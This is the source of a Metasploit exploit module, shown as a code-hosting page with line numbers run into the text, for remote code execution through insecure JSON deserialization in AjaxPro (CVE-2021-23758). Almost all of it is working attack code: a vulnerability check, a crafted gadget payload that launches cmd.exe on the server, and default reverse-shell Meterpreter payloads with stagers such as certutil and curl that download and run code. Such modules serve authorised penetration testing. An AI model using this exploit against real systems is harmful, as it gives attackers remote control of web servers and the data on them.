Path: blob/master/modules/exploits/windows/http/ajaxpro_deserialization_rce.rb
32595 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote67Rank = ExcellentRanking89prepend Msf::Exploit::Remote::AutoCheck10include Msf::Exploit::Remote::HttpClient11include Msf::Exploit::CmdStager1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'AjaxPro Deserialization Remote Code Execution',18'Description' => %q{19This module leverages an insecure deserialization of data to get20remote code execution on the target OS in the context of the user21running the website which utilized AjaxPro.2223To achieve code execution, the module will construct some JSON data24which will be sent to the target. This data will be deserialized by25the AjaxPro JsonDeserializer and will trigger the execution of the26payload.2728All AjaxPro versions prior to 21.10.30.1 are vulnerable to this29issue, and a vulnerable method which can be used to trigger the30deserialization exists in the default AjaxPro namespace.3132AjaxPro 21.10.30.1 removed the vulnerable method, but if a custom33method that accepts a parameter of type that is assignable from34`ObjectDataProvider` (e.g. `object`) exists, the vulnerability can35still be exploited.3637This module has been tested successfully against official AjaxPro on38version 7.7.31.1 without any modification, and on version 21.10.30.139with a custom vulnerable method added.40},41'Author' => [42'Hans-Martin Münch (MOGWAI LABS)', # Discovery43'Jemmy Wang' # MSF Module44],45'References' => [46['CVE', '2021-23758'],47['URL', 'https://mogwailabs.de/en/blog/2022/01/vulnerability-spotlight-rce-in-ajax.net-professional/']48],49'DisclosureDate' => '2021-12-03',50'License' => MSF_LICENSE,51'Privileged' => false,52'Targets' => [53[54'Windows Command',55{56'Platform' => 'win',57'Arch' => ARCH_CMD,58'Type' => :win_cmd,59'DefaultOptions' => {60'PAYLOAD' => 'cmd/windows/powershell/meterpreter/reverse_tcp'61}62}63],64[65'Windows Dropper',66{67'Platform' => 'win',68'Arch' => [ARCH_X86, ARCH_X64],69'Type' => :win_dropper,70'DefaultOptions' => {71'PAYLOAD' => 'windows/meterpreter/reverse_tcp',72'CMDSTAGER::FLAVOR' => 'certutil'73},74'CmdStagerFlavor' => %w[vbs certutil debug_write debug_asm tftp psh_invokewebrequest curl wget lwp-request]75}76],77],78'DefaultOptions' => { 'WfsDelay' => 30 },79'DefaultTarget' => 0,80'Notes' => {81'Stability' => [CRASH_SAFE],82'Reliability' => [REPEATABLE_SESSION],83'SideEffects' => [SCREEN_EFFECTS, IOC_IN_LOGS, ARTIFACTS_ON_DISK]84}85)86)8788register_options([89OptString.new('TARGETURI', [true, 'Base path to AjaxPro Handler', '/ajaxpro/']),90OptString.new('Namespace', [true, 'Namespace of vulnerable method', 'AjaxPro.Services.ICartService,AjaxPro.2']),91OptString.new('Method', [true, 'Name of vulnerable method', 'AddItem']),92OptString.new('Parameter', [true, 'Name of vulnerable parameter', 'item'])93])9495@ajax_pro = { ID: 'AjaxPro' }96end9798def check99res = send_request_cgi(100'method' => 'GET',101'uri' => normalize_uri(target_uri.path, 'core.ashx'),102'keep_cookies' => true103)104unless res105return CheckCode::Unknown("Target did not respond to #{normalize_uri(target_uri.path, 'core.ashx')}")106end107108unless res.code == 200 && res.headers['Content-Type'].include?('application/x-javascript')109return CheckCode::Safe('Is not AjaxPro?')110end111112unless (cap = res.body.match(/ID: ?"(\S+?)",/).captures)113return CheckCode::Detected('Failed to get AjaxPro ID.')114end115116@ajax_pro[:ID] = cap[0]117118unless (cap = res.body.match(/version: ?"(\S+?)",/).captures)119return CheckCode::Detected('Failed to get AjaxPro version.')120end121122@ajax_pro[:version] = cap[0]123124if Rex::Version.new(@ajax_pro[:version]) >= Rex::Version.new('21.10.30.1')125return CheckCode::Safe("AjaxPro version #{@ajax_pro[:version]} is not vulnerable.")126end127128res = send_request_cgi(129'method' => 'GET',130'uri' => normalize_uri(target_uri.path, datastore['Namespace'] + '.ashx'),131'keep_cookies' => true132)133unless res134return CheckCode::Appears('Failed to check if the target method exists.')135end136137unless res.code == 200 && res.body.match(/#{datastore['Method']}: ?function ?\((\S+?, ?)*#{datastore['Parameter']}(, ?\S+?)*\) ?\{/)138return CheckCode::Appears("But method '#{datastore['Method']}' with parameter '#{datastore['Parameter']}' was not found in namespace '#{datastore['Namespace']}'")139end140141CheckCode::Appears("Confirmed target method exists and the AjaxPro version (#{@ajax_pro[:version]}) is vulnerable.")142end143144def execute_command(cmd, _opts = {})145vprint_status("Executing command: #{cmd}")146json_post_data = JSON.generate(147{148"#{datastore['Parameter']}": {149__type: 'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',150MethodName: 'Start',151ObjectInstance: {152__type: 'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',153StartInfo: {154__type: 'System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',155FileName: 'cmd',156Arguments: "/c #{cmd}"157}158}159}160}161)162163res = send_request_cgi({164'method' => 'POST',165'uri' => normalize_uri(target_uri.path, datastore['Namespace'] + '.ashx'),166'ctype' => 'text/plain; charset=utf-8',167'headers' => { "X-#{@ajax_pro[:ID]}-Method" => datastore['Method'] },168'data' => json_post_data169})170unless res171fail_with(Failure::Unreachable, "Request to #{normalize_uri(target_uri.path, datastore['Namespace'] + '.ashx')} failed.")172end173174unless res.code == 200175fail_with(Failure::Unknown, "Failed to execute command. Server returned #{res.code} status.")176end177end178179def exploit180case target['Type']181when :win_cmd182execute_command(payload.encoded)183when :win_dropper184execute_cmdstager(background: true, delay: 1)185end186end187end188189190